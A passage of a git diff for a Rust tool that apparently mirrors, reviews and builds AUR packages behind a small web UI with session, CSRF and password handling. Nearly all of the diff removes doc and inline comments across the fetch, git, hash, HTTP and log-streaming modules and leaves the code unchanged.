hiccup; the build blocks instead. Error::PoolExhausted(_) | Error::WorldMismatch(_) => false, Error::Io(e) => matches!( e.kind(), diff --git a/src/fetch.rs b/src/fetch.rs index c802339..1d06051 100644 --- a/src/fetch.rs +++ b/src/fetch.rs @@ -17,8 +17,6 @@ impl Read for Body { } } -/// Open a URL for streaming. Never buffers the whole body: sources are hashed -/// while they are written into the cache (§5.3). pub fn open(url: &str) -> Result<(Body, Option)> { if let Some(path) = url.strip_prefix("file://") { let p = path.trim_start_matches('/'); @@ -40,7 +38,6 @@ pub fn open(url: &str) -> Result<(Body, Option)> { Err(Error::invalid(format!("unsupported url scheme: {url}"))) } -/// Fetch `url` into `dest`, returning `(sha256, size)`. pub fn fetch_to(url: &str, dest: &std::path::Path) -> Result<(String, u64)> { if let Some(parent) = dest.parent() { std::fs::create_dir_all(parent)?; @@ -53,7 +50,6 @@ pub fn fetch_to(url: &str, dest: &std::path::Path) -> Result<(String, u64)> { let (digest, size) = crate::hash::digest_reader(std::io::BufReader::new(body), Some(&mut file)) .map_err(|e| Error::Http(format!("{url}: {e}")))?; file.flush()?; - // Rename into place: a half-written cache entry must never be visible. std::fs::rename(&tmp, dest)?; Ok((digest, size)) } diff --git a/src/git.rs b/src/git.rs index 4520548..8605db7 100644 --- a/src/git.rs +++ b/src/git.rs @@ -3,14 +3,12 @@ use std::process::{Command, Output}; use crate::error::{Error, Result}; -/// Run git and capture output; non-zero status becomes `Error::Git`. pub fn git(cwd: Option<&Path>, args: &[&str]) -> Result { let mut cmd = Command::new("git"); if let Some(c) = cwd { cmd.current_dir(c); } cmd.args(args); - // Never let a stray terminal prompt hang a watcher thread. cmd.env("GIT_TERMINAL_PROMPT", "0"); cmd.env("GIT_CONFIG_NOSYSTEM", "1"); cmd.env("LC_ALL", "C"); @@ -29,13 +27,10 @@ fn ok(out: Output, args: &[&str]) -> Result { Ok(String::from_utf8_lossy(&out.stdout).to_string()) } -/// Run git, discarding output, returning success/failure without allocating. pub fn git_ok(cwd: Option<&Path>, args: &[&str]) -> bool { git(cwd, args).is_ok() } -/// `git ls-remote HEAD` — the cheap poll (§5.1). `None` when the remote is -/// gone. pub fn ls_remote_head(url: &str) -> Result> { match git(None, &["ls-remote", url, "HEAD"]) { Ok(out) => { @@ -51,7 +46,6 @@ pub fn ls_remote_head(url: &str) -> Result> { } } -/// `ls-remote --heads `: every branch tip, as `(refname, sha)`. pub fn ls_remote_heads(url: &str) -> Result> { let out = git(None, &["ls-remote", "--heads", url])?; let mut v = Vec::new(); @@ -64,7 +58,6 @@ pub fn ls_remote_heads(url: &str) -> Result> { Ok(v) } -/// Ask a single remote ref for its SHA, e.g. `refs/tags/v1.2` or a full commit. pub fn ls_remote_ref(url: &str, refname: &str) -> Result> { match git(None, &["ls-remote", url, refname]) { Ok(out) => Ok(out @@ -85,9 +78,6 @@ fn is_missing_remote(e: &Error) -> bool { || s.contains("404") } -/// Clone an AUR mirror. `--mirror` so that `git fetch` actually moves our refs, -/// and **never** `--filter=blob:none`: a partial clone can lazily drop blobs and -/// we must be able to materialize any historical commit forever (§5.1). pub fn clone(url: &str, dest: &Path) -> Result<()> { if dest.exists() { return Ok(()); @@ -99,7 +89,6 @@ pub fn clone(url: &str, dest: &Path) -> Result<()> { Ok(()) } -/// `git clone --bare` for the upstream VCS cache. pub fn clone_bare(url: &str, dest: &Path) -> Result<()> { if dest.exists() { return Ok(()); @@ -114,9 +103,7 @@ pub fn clone_bare(url: &str, dest: &Path) -> Result<()> { Ok(()) } -/// Fetch into an existing mirror. Returns the new HEAD. pub fn fetch_head(mirror: &Path) -> Result { - // `--no-prune` mirrors the "never GC a commit we may need" rule (§5.1a). git(Some(mirror), &["fetch", "--quiet", "--no-prune", "origin"])?; head(mirror) } @@ -125,18 +112,14 @@ pub fn head(mirror: &Path) -> Result { Ok(git(Some(mirror), &["rev-parse", "HEAD"])?.trim().to_string()) } -/// True if `commit` exists in the local mirror. Guards against a force-pushed AUR -/// history making a pin vanish (§16 mirror divergence). pub fn has_commit(mirror: &Path, commit: &str) -> bool { git_ok(Some(mirror), &["cat-file", "-e", &format!("{commit}^{{commit}}")]) } -/// `git ls-tree -r `: every `(path, blob-sha)` in the tree. pub fn ls_tree(mirror: &Path, commit: &str) -> Result> { let out = git(Some(mirror), &["ls-tree", "-r", commit])?; let mut v = Vec::new(); for line in out.lines() { - // " blob \t" if let Some(rest) = line.strip_prefix("100644 blob ").or_else(|| line.strip_prefix("100755 blob ")) { if let Some((sha, path)) = rest.split_once('\t') { v.push((path.to_string(), sha.to_string())); @@ -161,8 +144,6 @@ pub fn read_blob(mirror: &Path, commit: &str, path: &str) -> Result> { Ok(out.stdout) } -/// Materialize a commit into `dest` using the local mirror only — no network -/// (§8.1 step 0). `git archive` + tar keeps it dependency-free. pub fn materialize(mirror: &Path, commit: &str, dest: &Path) -> Result<()> { std::fs::create_dir_all(dest)?; let out = Command::new("git") @@ -185,26 +166,22 @@ pub fn materialize(mirror: &Path, commit: &str, dest: &Path) -> Result<()> { Ok(()) } -/// `git log --oneline range` — review context (§5.1) and the upstream delta panel. pub fn log_oneline(mirror: &Path, range: &str) -> Result> { let out = git(Some(mirror), &["log", "--oneline", range])?; Ok(out.lines().map(|l| l.to_string()).collect()) } -/// `git diff range -- `; empty `paths` means everything. pub fn diff(mirror: &Path, range: &str, paths: &[&str]) -> Result { let mut args: Vec<&str> = vec!["diff", "--no-color", range, "--"]; args.extend(paths); git(Some(mirror), &args) } -/// `git rev-list --count range`. pub fn count_commits(mirror: &Path, range: &str) -> Result { let out = git(Some(mirror), &["rev-list", "--count", range])?; Ok(out.trim().parse().unwrap_or(0)) } -/// Clone a VCS source the way a PKGBUILD would (depth/ref aware) into `dest`. pub fn clone_source(url: &str, dest: &Path, depth: Option, branch: Option<&str>) -> Result<()> { if let Some(parent) = dest.parent() { std::fs::create_dir_all(parent)?; @@ -223,7 +200,6 @@ pub fn clone_source(url: &str, dest: &Path, depth: Option, branch: Option Ok(()) } -/// Fetch into an existing clone and return HEAD. pub fn fetch_and_head(repo: &Path) -> Result { git(Some(repo), &["fetch", "--quiet", "--no-prune", "origin"])?; head(repo) diff --git a/src/hash.rs b/src/hash.rs index 70c3791..f638542 100644 --- a/src/hash.rs +++ b/src/hash.rs @@ -13,15 +13,11 @@ pub fn hex_str(s: &str) -> String { hex(s.as_bytes()) } -/// First `n` hex chars — enough for display, not for identity. pub fn short(bytes: &[u8], n: usize) -> String { let h = hex(bytes); h[..n.min(h.len())].to_string() } -/// Stream-hash a reader, optionally teeing every byte into `sink` — so a -/// download can be hashed into the source cache without paying for the -/// bandwidth twice (§5.3). pub fn digest_reader(mut r: R, mut sink: Option<&mut dyn Write>) -> io::Result<(String, u64)> { let mut h = Sha256::new(); let mut buf = vec![0u8; 64 * 1024]; @@ -46,9 +42,6 @@ pub fn digest_file(path: &std::path::Path) -> io::Result<(String, u64)> { digest_reader(&mut br, None) } -/// This is `recipe_hash` (DESIGN.md §3): a digest over *every* file in the AUR -/// snapshot tree, because a patch shipped in the AUR repo is part of the recipe -/// and is a classic silent-change vector. pub fn recipe_hash(entries: &[(String, String)]) -> String { let mut sorted: Vec<&(String, String)> = entries.iter().collect(); sorted.sort_unstable_by(|a, b| a.0.cmp(&b.0)); @@ -62,12 +55,6 @@ pub fn recipe_hash(entries: &[(String, String)]) -> String { hex::encode(h.finalize()) } -/// Serialize to canonical JSON: compact, object keys sorted, so equal values always -/// produce equal bytes. The value is routed through `serde_json::Value` because a -/// struct otherwise serializes in field declaration order. -/// -/// A serialization failure is an error, not `"{}"`: this is the function behind -/// `Identity::hash` (M-2). pub fn canonical_json(v: &T) -> Result { serde_json::to_string(&serde_json::to_value(v)?) } diff --git a/src/http/auth.rs b/src/http/auth.rs index 9689fd8..6720607 100644 --- a/src/http/auth.rs +++ b/src/http/auth.rs @@ -4,23 +4,17 @@ use std::sync::OnceLock; use crate::hash; -/// Live sids and whether each has passed the password gate. One map, so -/// dropping a session removes its authentication with it. static SESSIONS: OnceLock>> = OnceLock::new(); fn sessions() -> &'static Mutex> { SESSIONS.get_or_init(|| Mutex::new(HashMap::new())) } -/// Random hex token from the system RNG, or `None` when there is no usable one. -/// A session id is the whole credential (C-1), so "no RNG" is a refusal rather -/// than a weaker, guessable token. fn random_hex() -> Option { use std::io::Read; let mut buf = [0u8; 32]; let mut f = std::fs::File::open("/dev/urandom").ok()?; f.read_exact(&mut buf).ok()?; - // Mixed in so two calls in the same instant still differ. let nanos = std::time::SystemTime::now() .duration_since(std::time::UNIX_EPOCH) .map(|d| d.as_nanos()) @@ -34,8 +28,6 @@ fn counter() -> u64 { C.fetch_add(1, std::sync::atomic::Ordering::Relaxed) } -/// Mint an anonymous session: enough for a CSRF token, not enough to see a -/// single page when a password is set. pub fn new_session() -> Option { let sid = random_hex()?; if let Ok(mut s) = sessions().lock() { @@ -48,8 +40,6 @@ pub fn is_valid_session(sid: &str) -> bool { sessions().lock().map(|s| s.contains_key(sid)).unwrap_or(false) } -/// Mark a session as having passed the password gate. An unknown sid stays -/// unknown rather than being inserted as a side effect of a login attempt. pub fn authenticate(sid: &str) { if let Ok(mut s) = sessions().lock() { if let Some(authenticated) = s.get_mut(sid) { @@ -58,8 +48,6 @@ pub fn authenticate(sid: &str) { } } -/// The gate's whole question: is this sid one we issued, and did someone type -/// the password into a form on it? pub fn is_authenticated(sid: &str) -> bool { sessions().lock().map(|s| s.get(sid).copied().unwrap_or(false)).unwrap_or(false) } @@ -70,8 +58,6 @@ pub fn drop_session(sid: &str) { } } -/// The CSRF token for a session. Derived rather than stored, so it cannot drift -/// out of sync with the session. pub fn csrf_token(sid: &str) -> String { hash::hex(format!("csrf|{sid}").as_bytes())[..32].to_string() } @@ -92,7 +78,6 @@ fn constant_time_eq(a: &str, b: &str) -> bool { diff == 0 } -/// Parse a `Cookie:` header value. pub fn parse_cookies(header: &str) -> Vec<(String, String)> { header .split(';') @@ -104,8 +89,6 @@ pub fn parse_cookies(header: &str) -> Vec<(String, String)> { .collect() } -/// An empty password means the UI is open, which is the default on loopback; -/// the CSRF gate still applies. pub fn password_ok(cfg: &crate::config::Config, given: &str) -> bool { cfg.password.is_empty() || constant_time_eq(&cfg.password, given) } diff --git a/src/http/forms.rs b/src/http/forms.rs index 03da7b8..579b931 100644 --- a/src/http/forms.rs +++ b/src/http/forms.rs @@ -1,4 +1,3 @@ -/// Percent-decode one token (`+` means space in a form body). pub fn decode(s: &str) -> String { let bytes = s.as_bytes(); let mut out: Vec = Vec::with_capacity(bytes.len()); diff --git a/src/http/mod.rs b/src/http/mod.rs index 11ea107..7beeff4 100644 --- a/src/http/mod.rs +++ b/src/http/mod.rs @@ -9,13 +9,11 @@ use std::sync::Arc; use crate::config::Config; use crate::db::Db; -/// Shared state every handler needs. pub struct State { pub cfg: Config, pub db: Db, } -/// A request that has been decoded enough to route on. pub struct Req { pub method: String, pub path: String, @@ -23,11 +21,7 @@ pub struct Req { pub body: String, pub cookies: Vec<(String, String)>, pub query_pairs: Vec<(String, String)>, - /// The body's form pairs, parsed once when the request is decoded (n-3) — a - /// single handler asks for five of them. pub form_pairs: Vec<(String, String)>, - /// Whether the client said it can take gzip. Used to decide whether to hand - /// out the precompressed static asset. pub accept_gzip: bool, } @@ -46,18 +40,12 @@ impl Req { } } -/// What a handler produced. pub struct Res { pub status: u16, pub content_type: String, pub body: Vec, pub headers: Vec<(String, String)>, - /// When set, the body is produced by reading this to EOF instead of `body`. - /// Used for the log tail (§13), which must stream bytes as a build appends - /// them rather than buffering a response that never finishes. pub stream: Option>, - /// Length of `stream` when it is known up front, so the response can carry a - /// Content-Length instead of chunked transfer encoding. pub stream_len: Option, } @@ -68,9 +56,6 @@ impl Res { pub fn text(status: u16, body: String) -> Self { Self { status, content_type: "text/plain; charset=utf-8".into(), body: body.into_bytes(), headers: Vec::new(), stream: None, stream_len: None } } - /// A streamed response. `known_len` lets a static file be sent with a - /// Content-Length, which is what a browser wants for a file whose size it - /// already knows. pub fn stream(content_type: &str, reader: impl std::io::Read + Send + 'static, known_len: Option) -> Self { Self { status: 200, @@ -99,8 +84,6 @@ impl Res { } } -/// Start the HTTP server. Returns the accept-loop handle and the address it -/// actually bound, which matters for `:0` in tests. pub struct Server { pub handle: std::thread::JoinHandle<()>, pub addr: String, @@ -115,8 +98,6 @@ pub fn spawn(cfg: Config, db: Db) -> std::io::Result { let handle = std::thread::Builder::new() .name("http-accept".into()) .spawn(move || { - // `tiny_http` hands each connection to its own worker internally; - // the accept loop just blocks on `recv` and hands off. for request in server.incoming_requests() { let state = state.clone(); std::thread::Builder::new() @@ -152,7 +133,6 @@ fn serve(state: Arc, mut request: tiny_http::Request) -> std::io::Result< .find(|h| h.field.equiv("Accept-Encoding")) .map(|h| h.value.as_str().contains("gzip")) .unwrap_or(false); - // Parsed once, here, rather than per `form_get` call (n-3). let form_pairs = forms::parse(&body); let req = Req { method: request.method().as_str().to_string(), @@ -166,7 +146,6 @@ fn serve(state: Arc, mut request: tiny_http::Request) -> std::io::Result< }; let mut res = dispatch(&state, &req); - // Attach the session cookie if the handler minted one. if let Some(sid) = res.headers.iter().find(|(k, _)| k == "X-New-Session").map(|(_, v)| v.clone()) { res.headers.retain(|(k, _)| k != "X-New-Session"); res.header("Set-Cookie", &format!("sid={sid}; Path=/; HttpOnly; SameSite=Strict")); @@ -180,8 +159,6 @@ fn serve(state: Arc, mut request: tiny_http::Request) -> std::io::Result< headers.push(h); } } - // A streamed response is chunked and stays open until the reader returns - // EOF; that is the whole point for the log tail. if let Some(reader) = res.stream.take() { let mut resp = tiny_http::Response::new( tiny_http::StatusCode(res.status), @@ -190,9 +167,6 @@ fn serve(state: Arc, mut request: tiny_http::Request) -> std::io::Result< res.stream_len, None, ); - // tiny_http switches to chunked above 32 KB by default. For a file whose - // length we know, a Content-Length is what a browser wants; the log tail - // has no known length and stays chunked, which is what it needs. if res.stream_len.is_some() { resp = resp.with_chunked_threshold(usize::MAX); } @@ -206,34 +180,23 @@ fn serve(state: Arc, mut request: tiny_http::Request) -> std::io::Result< request.respond(builder) } -/// Route table (§12). One flat match: no middleware stack, just the session gate -/// and then a path. fn dispatch(state: &State, req: &Req) -> Res { let seg: Vec<&str> = req.path.trim_matches('/').split('/').filter(|s| !s.is_empty()).collect(); let is_get = req.method == "GET"; - // Static assets and the login page are reachable without a session. match (req.method.as_str(), seg.as_slice()) { ("GET", ["static", name]) => return render::static_asset(name, req.accept_gzip), ("GET", ["login"]) => return routes::login_form(state, req), ("POST", ["login"]) => return routes::login(state, req), ("GET", ["healthz"]) => return Res::text(200, "ok\n".into()), - // Metrics are counts only — no package names, versions, or audit detail - // — and a Prometheus scraper has no session to present. The bind address - // is loopback by default, which is where this is safe. ("GET", ["metrics"]) => return routes::metrics(state), _ => {} } - // Session gate: mint a session for anonymous visitors so the CSRF token - // exists before anyone logs in. It is not a login — `gate` only lets through - // a sid that a successful login marked authenticated. let (sid, new_session) = match req.cookie("sid") { Some(s) if auth::is_valid_session(&s) => (s, false), _ => match auth::new_session() { Some(s) => (s, true), - // No system RNG means no unguessable session id. Refuse rather than - // hand out a token someone else could compute. None => return Res::text(500, "500: could not mint a session\n".into()), }, }; @@ -245,7 +208,6 @@ fn dispatch(state: &State, req: &Req) -> Res { return finish(state, req, res, &sid, new_session); } - // CSRF: every state-changing request must carry the token for its session. if !is_get { let token = req.form_get("csrf").or_else(|| req.query_get("csrf")).unwrap_or_default(); if !auth::csrf_ok(&sid, &token) { @@ -261,14 +223,11 @@ fn dispatch(state: &State, req: &Req) -> Res { } fn finish(_state: &State, _req: &Req, mut res: Res, _sid: &str, _new: bool) -> Res { - // A tiny security posture for a tool that serves a package index. res.header("X-Content-Type-Options", "nosniff"); res.header("Referrer-Policy", "same-origin"); res } -/// Percent-decode a path segment. Enough for package names and ids, which is -/// all that ever needs it here. fn percent_decode(s: &str) -> String { let bytes = s.as_bytes(); let mut out: Vec = Vec::with_capacity(bytes.len()); diff --git a/src/http/render.rs b/src/http/render.rs index f049a25..f3e4669 100644 --- a/src/http/render.rs +++ b/src/http/render.rs @@ -1,7 +1,5 @@ use askama::Template; -/// Everything the shared chrome needs. Embedded in each page context because -/// askama inheritance passes the whole struct down. #[derive(Debug, Clone)] pub struct Page { pub title: String, @@ -19,7 +17,6 @@ pub struct Page { pub nav_subscriptions: &'static str, pub nav_audit: &'static str, pub nav_settings: &'static str, - /// True when a password gate is configured, so the chrome offers a logout. pub gated: bool, } @@ -116,7 +113,6 @@ pub struct ReviewDetail { pub base_version: String, pub has_base: bool, pub panels: Vec, - /// First introductions show the whole recipe instead of a diff (§7.1b). pub recipe: String, pub srcinfo: String, pub has_srcinfo: bool, @@ -134,8 +130,6 @@ pub struct ReviewHead { pub risk: String, pub signals: Vec, pub missing_deps: Vec, - /// §10.3: "approving this marks N packages stale" — the packages of ours - /// whose own recipes name one of the packages this candidate produces. pub dependents: Vec, pub revision: i64, pub aur_commit: String, @@ -196,9 +190,6 @@ pub struct Attention { pub blocked: Vec, } -/// §8.4: an approval whose build failed. The index is still serving the older -/// version and nothing about the package looks wrong from the outside, so this -/// row exists to be impossible to miss. #[derive(Debug, Clone)] pub struct UnbuiltRow { pub pkgbase: String, @@ -221,7 +212,6 @@ pub struct NoticeRow { #[derive(Debug, Clone)] pub struct StaleRow { pub pkgbase: String, - /// The dependency that moved (or `aur` for a downgrade row). pub dependency: String, pub built_with: String, pub now: String, @@ -261,7 +251,6 @@ pub struct PackageDetail { pub summary: String, pub can_withdraw: bool, pub stale: Vec, - /// "v2 approved, build failed, index still serving v1" (§8.4). pub unbuilt: Vec, pub deps_in: Vec, pub deps_out: Vec, @@ -287,7 +276,6 @@ pub struct Builds { pub recent: Vec, } -/// The same table on its own, for the htmx fragment refresh. #[derive(Template)] #[template(path = "builds_table.html")] pub struct BuildsTable { @@ -379,10 +367,6 @@ pub struct SettingRow { pub value: String, } -/// Static assets. Two files, both vendored, both served from `include_bytes!` -/// so the binary is self-contained and there is no install step and no bundler -/// (§13). htmx is the only JavaScript this app ships; it is served precompressed -/// because the budget that matters is what a browser actually downloads. pub fn static_asset(name: &str, accept_gzip: bool) -> crate::http::Res { use crate::http::Res; match name { diff --git a/src/http/routes/mod.rs b/src/http/routes/mod.rs index 0dfed52..ed488c8 100644 --- a/src/http/routes/mod.rs +++ b/src/http/routes/mod.rs @@ -8,9 +8,6 @@ use super::{Req, Res, State}; mod mutations; mod pages; -// The handlers live in two files by direction of travel — reads in `pages`, -// writes in `mutations` — and are pulled back into scope here so the routing -// table below still reads as one flat list of endpoints (n-4). pub(crate) use mutations::*; pub(crate) use pages::*; @@ -29,9 +26,6 @@ pub fn login_form(state: &State, req: &Req) -> Res { page_to_res(Login { page, error: String::new() }, 200) } -/// Forget the session server-side and clear the cookie. The CSRF token is -/// derived from the sid, so dropping the sid invalidates every form a browser -/// still has open — which is exactly what logout should do. pub fn logout(req: &Req) -> Res { if let Some(sid) = req.cookie("sid") { auth::drop_session(&sid); @@ -45,9 +39,6 @@ pub fn login(state: &State, req: &Req) -> Res { let given = req.form_get("password").unwrap_or_default(); let page = Page::new("Sign in", csrf(state, req)); if auth::password_ok(&state.cfg, &given) { - // Rotate rather than promote: the sid the visitor arrived with (if any) - // is dropped, so the session that existed before the password was typed - // is never the one that carries the privilege afterwards. if let Some(old) = req.cookie("sid") { auth::drop_session(&old); } @@ -57,7 +48,6 @@ pub fn login(state: &State, req: &Req) -> Res { }; auth::authenticate(&sid); let mut res = Res::redirect("/"); - // `serve` turns this into the `Set-Cookie: sid=…` header. res.header("X-New-Session", &sid); res } else { @@ -109,7 +99,6 @@ fn not_found(state: &State, req: &Req) -> Res { ) } -/// The shared chrome: counts for the nav badges and the active-tab marker. fn chrome(state: &State, req: &Req, title: &str, active: &str) -> Page { let db = &state.db; let mut page = Page::new(title, csrf(state, req)); @@ -133,7 +122,6 @@ fn csrf(_state: &State, req: &Req) -> String { req.cookie("sid").map(|s| auth::csrf_token(&s)).unwrap_or_default() } -/// A byte count a human can read at a glance. fn human_size(bytes: i64) -> String { const UNITS: [&str; 4] = ["B", "KiB", "MiB", "GiB"]; let mut v = bytes as f64; @@ -158,9 +146,6 @@ fn age(detected_at: &str) -> String { format!("{detected_at} → {now}") } -/// Who the audit trail says made a decision. With no password configured the -/// UI is open on loopback and every session is the operator's; with one, only -/// a session that passed the gate gets a name. fn actor(state: &State, req: &Req) -> &'static str { let sid = req.cookie("sid").unwrap_or_default(); if !auth::auth_required(&state.cfg) || auth::is_authenticated(&sid) { diff --git a/src/http/routes/mutations.rs b/src/http/routes/mutations.rs index 79089b2..2af8b7f 100644 --- a/src/http/routes/mutations.rs +++ b/src/http/routes/mutations.rs @@ -37,8 +37,6 @@ pub(crate) fn review_approve(state: &State, req: &Req, id: &str) -> Res { page_to_res(ReviewsPage { page, rows: review_rows(&state.db) }, 200) } Err(ap::ApproveError::System(e)) => { - // The database refused. Telling the reviewer their review went stale - // would be a lie about the one thing they cannot check themselves. let mut page = chrome(state, req, "Review failed", "nav_reviews"); page.flash = format!("the approval could not be recorded: {e}"); page.has_flash = true; @@ -46,14 +44,10 @@ pub(crate) fn review_approve(state: &State, req: &Req, id: &str) -> Res { page_to_res(ReviewsPage { page, rows: review_rows(&state.db) }, 500) } Err(ap::ApproveError::Stale(stale)) => { - // §7.1a: refuse, re-render what it is now, and say why. Never - // silently retarget the approval onto the newer state. let mut page = chrome(state, req, "Review changed", "nav_reviews"); page.flash = format!("refused: {stale}"); page.has_flash = true; page.flash_err = true; - // Show the review as it stands NOW — the frozen one the form came - // from may have collapsed or been superseded while it was open. let current = candidates::pending_candidates(db) .unwrap_or_default() .into_iter() @@ -109,8 +103,6 @@ pub(crate) fn review_reject(state: &State, req: &Req, id: &str) -> Res { } } -/// Bulk approve/reject (§7.4): per-item, never "approve everything forever", -/// and high-risk items are refused unless each was confirmed individually. pub(crate) fn reviews_bulk(state: &State, req: &Req) -> Res { let db = &state.db; let form = req.form(); @@ -136,8 +128,6 @@ pub(crate) fn reviews_bulk(state: &State, req: &Req) -> Res { page.flash_err = true; return page_to_res(ReviewsPage { page, rows: review_rows(&state.db) }, 400); } - // The rule itself lives in `review::approve::bulk`, so the page and the - // library cannot disagree about what a bulk decision means (§7.4). let items: Vec<(i64, String, String)> = ids .iter() .filter_map(|id| { @@ -200,9 +190,6 @@ pub(crate) fn sub_pause(state: &State, req: &Req) -> Res { let db = &state.db; let name = req.form_get("pkgbase").unwrap_or_default(); let cur = db::get_subscription(db, &name).ok().flatten().map(|s| s.state); - // Pause and resume are the only moves this page makes. A subscription that - // is orphaned or removed is not the reviewer's to pause, and saying so beats - // quietly rewriting its state. let next = match cur { Some(SubscriptionState::Active) => SubscriptionState::Paused, Some(SubscriptionState::Paused) => SubscriptionState::Active, @@ -223,8 +210,6 @@ pub(crate) fn sub_remove(state: &State, req: &Req) -> Res { pub(crate) fn notice_ack(state: &State, req: &Req) -> Res { let id: i64 = req.form_get("id").and_then(|s| s.parse().ok()).unwrap_or(0); let _ = db::acknowledge_notice(&state.db.writer, id); - // POST-redirect-GET: the notice vanishing from the list is its own - // confirmation, and a refresh can no longer re-POST. Res::redirect("/attention") } @@ -270,8 +255,6 @@ pub(crate) fn build_cancel(state: &State, req: &Req, id: &str) -> Res { builds_with(state, req, page) } -/// Retrying a failed build is an explicit, audited decision (§8.4), not -/// something the system does to itself. pub(crate) fn build_retry(state: &State, req: &Req, id: &str) -> Res { match builds::retry(&state.db, id) { Ok(()) => { diff --git a/src/http/routes/pages.rs b/src/http/routes/pages.rs index f1f3ef8..bb5db34 100644 --- a/src/http/routes/pages.rs +++ b/src/http/routes/pages.rs @@ -56,7 +56,6 @@ pub(crate) fn review_rows(db: &Db) -> Vec { revision: c.revision, }) .collect(); - // Risk first, then oldest — the scarcest resource gets the loudest rows. let rank = |r: &str| match r { risk::level::HIGH => 0, risk::level::MEDIUM => 1, @@ -83,8 +82,6 @@ pub(crate) fn review_detail(state: &State, req: &Req, id: &str) -> Res { let Some(c) = candidates::candidate_by_id(db, id).unwrap_or(None) else { return not_found(state, req); }; - // Opening a review freezes it: a later detection now opens a fresh review - // instead of silently changing what is on screen (§7.1). let _ = candidates::mark_viewed(db, id); let page = chrome(state, req, &format!("Review {}", c.pkgbase), "nav_reviews"); let (head, panels, recipe, srcinfo, sources_resolved, deps_resolved) = review_body(state, &c); @@ -113,7 +110,6 @@ pub(crate) fn panels_base(c: &CandidateRow) -> (String, bool) { } } -/// Build the review body: the panel set plus the first-introduction material. pub(crate) fn review_body( state: &State, c: &CandidateRow, @@ -224,7 +220,6 @@ pub(crate) fn attention(state: &State, req: &Req) -> Res { .into_iter() .map(|(id, pkgbase, blocked_on)| BlockedRow { id_short: short(&id), id, pkgbase, blocked_on }) .collect(); - // Staleness is computed on read (P4 fills the query in). let stale = crate::watch::staleness::stale_rows(db).unwrap_or_default(); let outdated: Vec = stale .iter() @@ -322,8 +317,6 @@ pub(crate) fn package_detail(state: &State, req: &Req, name: &str) -> Res { step: b.current_step.unwrap_or_default(), }) .collect(); - // Depends-on comes from the recipe we actually serve; needed-by comes from - // the packages whose own recipes name this one (§10.3). let deps_in: Vec = accepted .as_ref() .and_then(|r| db::accepted_recipe(db, r).ok().flatten()) @@ -375,8 +368,6 @@ pub(crate) fn package_detail(state: &State, req: &Req, name: &str) -> Res { // --------------------------------------------------------------- builds -- -/// The version a build is about. A build points at a candidate, or — for a -/// manual rebuild of something already published — at a release. pub(crate) fn build_version(db: &Db, b: &builds::BuildRow) -> String { if let Some(cid) = b.candidate_id { if let Some(c) = candidates::candidate_by_id(db, cid).ok().flatten() { @@ -424,8 +415,6 @@ pub(crate) fn build_rows(state: &State) -> Vec { pub(crate) fn builds_page(state: &State, req: &Req) -> Res { let page = chrome(state, req, "Builds", "nav_builds"); - // htmx asks for the fragment; a browser with JavaScript off never does and - // gets the whole page either way (§13). if req.query_get("fragment").as_deref() == Some("1") { return page_to_res( BuildsTable { page, rows: build_rows(state), recent: recent_rows(state) }, @@ -514,17 +503,12 @@ pub(crate) fn build_log(state: &State, id: &str) -> Res { Res::text(200, body) } -/// The live tail (§13). Server-sent events from a blocking reader: the pipeline -/// appends to a file and never learns this connection exists, so a viewer that -/// hangs up, stalls or never shows up cannot slow a build. pub(crate) fn build_log_stream(state: &State, req: &Req, id: &str) -> Res { if builds::get(&state.db, id).unwrap_or(None).is_none() { return not_found(state, req); } let tail = sse::LogTail::new(&state.cfg, state.db.clone(), id); let mut res = Res::stream("text/event-stream", tail, None); - // No caching, and no proxy buffering: a buffered event stream is a log tail - // that arrives all at once, which is the thing we are trying to avoid. res.header("Cache-Control", "no-cache"); res.header("X-Accel-Buffering", "no"); res @@ -550,11 +534,6 @@ pub(crate) fn audit(state: &State, req: &Req) -> Res { page_to_res(Audit { page, rows }, 200) } -/// `GET /metrics` in Prometheus text exposition format (§12, §15). -/// -/// Everything here is computed from live state on every scrape. There are no counters -/// incremented at event sites: a counter every code path has to maintain quietly -/// drifts the first time a path is added; a query cannot drift. pub fn metrics(state: &State) -> Res { match ops::metrics(&state.cfg, &state.db) { Ok(m) => { diff --git a/src/http/sse.rs b/src/http/sse.rs index 561de33..e4a5e6a 100644 --- a/src/http/sse.rs +++ b/src/http/sse.rs @@ -4,10 +4,7 @@ use std::time::{Duration, Instant}; use crate::db::builds; -/// How long a tail will wait for a build that never finishes. A viewer that -/// outlives this gets a clean end and can reconnect. const MAX_LIFETIME: Duration = Duration::from_secs(30 * 60); -/// Silence between keepalives. Proxies drop idle streams well before this. const KEEPALIVE: Duration = Duration::from_secs(10); const POLL: Duration = Duration::from_millis(200); @@ -15,9 +12,7 @@ pub struct LogTail { path: PathBuf, build_id: String, db: crate::db::Db, - /// Bytes of the file already forwarded. offset: u64, - /// SSE frames waiting to be handed to the caller. out: std::collections::VecDeque, started: Instant, since_keepalive: Duration, @@ -41,21 +36,16 @@ impl LogTail { fn terminal(&self) -> bool { match builds::get(&self.db, &self.build_id) { Ok(Some(b)) => b.state.is_terminal(), - // A build row that vanished is not going to produce more output. Ok(None) => true, - // A database hiccup should not end the stream; the next poll tries - // again and the lifetime cap bounds the damage. Err(_) => false, } } - /// Pull whatever the build appended since the last poll and frame it as SSE. fn pump(&mut self) { let (bytes, grew) = read_from(&self.path, self.offset); if grew { self.offset += bytes.len() as u64; for line in String::from_utf8_lossy(&bytes).lines() { - // SSE: every line of payload needs its own `data:` prefix. self.out.extend(format!("data: {line}\n\n").as_bytes()); } self.since_keepalive = Duration::ZERO; @@ -111,7 +101,6 @@ impl Read for LogTail { } } -/// Read `path` from `offset`. Returns the bytes and whether the file grew. fn read_from(path: &Path, offset: u64) -> (Vec, bool) { let mut f = match std::fs::File::open(path) { Ok(f) => f, @@ -129,7 +118,6 @@ fn read_from(path: &Path, offset: u64) -> (Vec, bool) { (buf, grew) } -/// A file served as-is, for static assets. pub struct FileBody { inner: std::io::Cursor>, } diff --git a/src/lib.rs b/src/lib.rs index a284bf3..db3f2d1 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -12,10 +12,6 @@ pub mod pkgver; pub mod recipe; pub mod review; pub mod sandbox; -/// The §16a fake toolchain: stand-ins for `makepkg`, `mkarchroot`, `gpg`, -/// `repo-add` and `pacman`, so the whole step machine runs without root, network -/// or an Arch chroot. Compiled out of a production build (§6 M-4): a binary an -/// operator runs cannot fake a build tool it cannot see. #[cfg(feature = "test-support")] pub mod shims; pub mod time; diff --git a/src/main.rs b/src/main.rs index edfcd44..1686680 100644 --- a/src/main.rs +++ b/src/main.rs @@ -10,7 +10,6 @@ use aur_build::review::{approve as ap, candidates, diff}; 